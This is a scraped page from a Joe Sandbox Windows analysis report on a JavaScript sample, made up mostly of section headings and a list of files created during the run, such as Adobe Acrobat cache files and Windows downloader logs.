Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report 296419801857622488.js

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Configuration

Yara Signatures

Memory Dumps

Sigma Signatures

System Summary

HIPS / PFW / Operating System Protection Evasion

Suricata Signatures

Joe Sandbox Signatures

Software Vulnerabilities

Networking

Spam, unwanted Advertisements and Ransom Demands

System Summary

Data Obfuscation

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Stealing of Sensitive Information

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

Private

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\ProgramData\Microsoft\Network\Downloader\edb.log

C:\ProgramData\Microsoft\Network\Downloader\qmgr.db

C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG.old (copy)

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG.old (copy)

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\Network Persistent State (copy)

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\a999fb91-bc60-4ab4-9a27-cd743dc0a99c.tmp

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\000003.log

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG.old (copy)

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\2D85F72862B55C4EADD9E66E06947F3D

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\2D85F72862B55C4EADD9E66E06947F3D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeCMapFnt23.lst (copy)

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeFnt23.lst.5572

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeSysFnt23.lst (copy)

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\Cache\AcroFnt23.lst (copy)

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\Cache\AdobeFnt23.lst.5572

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\ACROBAT_READER_MASTER_SURFACEID

Windows Analysis Report
296419801857622488.js